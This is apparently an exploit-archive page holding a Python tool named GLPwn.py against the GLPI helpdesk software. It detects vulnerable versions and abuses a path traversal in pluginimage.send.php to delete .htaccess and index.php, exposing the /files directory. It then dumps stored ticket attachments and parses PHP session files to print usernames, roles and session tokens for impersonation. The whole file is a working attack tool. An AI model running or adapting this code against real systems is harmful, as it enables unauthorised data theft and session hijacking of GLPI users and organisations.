4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / GLPwn.py PY
#!/usr/bin/env python3
import requests
import re
import argparse
from urllib.request import Request, urlopen, urlretrieve
from bs4 import BeautifulSoup
import os

with open("asciiart.txt", "r") as f:
    print(f.read())

parser = argparse.ArgumentParser(description='GLPI hack tool')
parser.add_argument('--url', help="URL of the GLPI instance", required=True)
parser.add_argument('--dumpfiles',help="Dump the stored ticket attachments", action="store_true")
parser.add_argument('--check',help="Only check if the taget is vulnerable", action="store_true")
parser.add_argument('--sessions', help="Get valid session tokens for impersonation.", action="store_true")
parser.add_argument('--exploit', help="Attempts to exploit the plulginimage vulnerability to get directory listing on /files.", action="store_true")

args = parser.parse_args()

versions = ['0.20', '0.20.1', '0.21', '0.30', '0.31', '0.40', '0.41', '0.42', '0.50', '0.51', '0.51a', '0.60', '0.65',
            '0.68', '0.68.1', '0.68.2', '0.68.3', '0.70', '0.70.1', '0.70.2', '0.71', '0.71.1', '0.71.2', '0.71.3',
            '0.71.4', '0.71.5', '0.71.6', '0.72', '0.72.1', '0.72.2', '0.72.3', '0.72.4', '0.72.21', '0.78', '0.78.1',
            '0.78.2', '0.78.3', '0.78.4', '0.78.5', '0.80', '0.80.1', '0.80.2', '0.80.3', '0.80.4', '0.80.5', '0.80.6',
            '0.80.7', '0.80.61', '0.83', '0.83.1', '0.83.2', '0.83.3', '0.83.4', '0.83.5', '0.83.6', '0.83.7', '0.83.8',
            '0.83.9', '0.83.31', '0.83.91', '0.84', '0.84.1', '0.84.2', '0.84.3', '0.84.4', '0.84.5', '0.84.6',
            '0.84.7', '0.84.8', '0.85', '0.85.1', '0.85.2', '0.85.3', '0.85.4', '0.85.5', '0.90', '0.90.1', '0.90.2',
            '0.90.3', '0.90.4', '0.90.5', '9.1', '9.1.1', '9.1.2', '9.1.3', '9.1.4', '9.1.5', '9.1.6', '9.1.7',
            '9.1.7.1', '9.2', '9.2.1', '9.2.2', '9.2.3', '9.2.4', '9.3', '9.3.0', '9.3.1', '9.3.2', '9.3.3', '9.3.4',
            '9.4.0', '9.4.1', '9.4.1.1', '9.4.2', '9.4.3', '9.4.4', '9.4.5', '9.4.6', '9.5.0', '9.5.1']


def checkVulnerable():
    res = requests.get(args.url, verify=False)
    detectedVersion = ""
    vulnerable = False
    for version in versions:
        search = bool(re.search(version, res.text))
        if search == True:
            detectedVersion = version
            vulnerable = True
    if vulnerable:
        print("Detected GLPI version " + detectedVersion + ", which is most likely vulnerable.")
    else:
        print("The target does not appear to be vulnerable.")
    return vulnerable

def checkFiles():
    res = requests.get(args.url + "/files", verify=False)
    search = bool(re.search("Index of", res.text))
    return search

def dumpFiles():
    if not checkFiles():
        print("Directory listing is not enabled on /files. use --exploit to exploit the pulginimage vulnerability.")
    else:
        recursive_download(args.url + "/files/", False)

def dumpSessions():
    if not checkFiles():
        print("Directory listing is not enabled on /files. use --exploit to exploit the pulginimage vulnerability.")
    else:
        files = recursive_download(args.url + "/files/_sessions/", True)

files = []

def recursive_download(url, session):
    url = url.replace(" ","%20")
    req = Request(url)
    a = urlopen(req).read()
    soup = BeautifulSoup(a, 'html.parser')
    x = (soup.find_all('a'))
    for i in x:
        file_name = i.extract().get_text()
        url_new = url + file_name
        url_new = url_new.replace(" ","%20")
        if(file_name[-1]=='/' and file_name != 'Name' and file_name != 'Last Modified' and file_name != "Size" and file_name != "Description" and file_name != "Parent Directory"):
            recursive_download(url_new, session)
        if (file_name[-1] != '/' and file_name != 'Name' and file_name != 'Last modified' and file_name != "Size" and file_name != "Description" and file_name != "Parent Directory"):
            res = requests.get(url_new, verify=False)
            filename = url_new.split('files/')[1:]
            filename = "./dump/" + "".join(filename)
            if ("_" not in url_new.split("files/")[-1].split('/')[-1] and "." in url_new.split('/')[-1] and url_new.split('/')[-1] != "remove.txt"):
                files.append(filename.split('/')[-1])
            os.makedirs(os.path.dirname(filename), exist_ok=True)
            with open(filename, "wb") as f:
                f.write(res.content)
            if session:
                extractSessionsInfo(filename)

def extractSessionsInfo(filename):
    with open(filename) as f:
        session = f.read()
        valid = bool(re.search("glpiname\\|", session))
        if valid:
            username = session.split('glpiname|')[1].split('"')[1]
            role = session.split('glpiprofiles|')[1].split('"name"')[1].split('"')[1]
            token = filename.split('/')[-1].split("sess_")[1]
            print('Session found : \n Username : ' + username + '\n Role : ' + role +'\n Token : ' + token)

def exploit():
    if checkVulnerable() and not checkFiles():
        requests.get(args.url + "/front/pluginimage.send.php?plugin=..&name=.htaccess&clean", verify=False)
        requests.get(args.url + "/front/pluginimage.send.php?plugin=..&name=index.php&clean", verify=False)
    if checkFiles(): 
        print("Exploitation successful, directory listing is now enabled on the /files folder.")
        return True
    else: 
        print("Exploitation unsuccessful, unable to get directory listing on the /files folder.")
        return False

def printCount(files):
    print("Dump completed! Found " + str(len(files)) + " files in total. \nDetails: ")
    extensions = []
    count = []
    for file in files:
        extension = file.split('.')[-1].upper()
        if extension not in extensions:
            extensions.append(extension)
            count.append(1)
            continue
        count[extensions.index(extension)] += 1
    for text in extensions:
        print(" Found " + str(count[extensions.index(text)]) + " " + text + " file(s).")
    print('File list:')
    for file in files: 
        print(" " + file)
    

if args.check:
    if checkFiles():
        print("The target already has directory listing on the /files folder. Use --dumpfiles or --session for exploitation.")
        quit()
    checkVulnerable()
    quit()

if args.exploit:
    exploit()

if args.dumpfiles:
    dumpFiles()
    printCount(files)

if args.sessions:
    dumpSessions()

if not args.check and not args.dumpfiles and not args.exploit and not args.sessions:
    print('Please specify something to do. (use -h to get the help menu)')
    quit()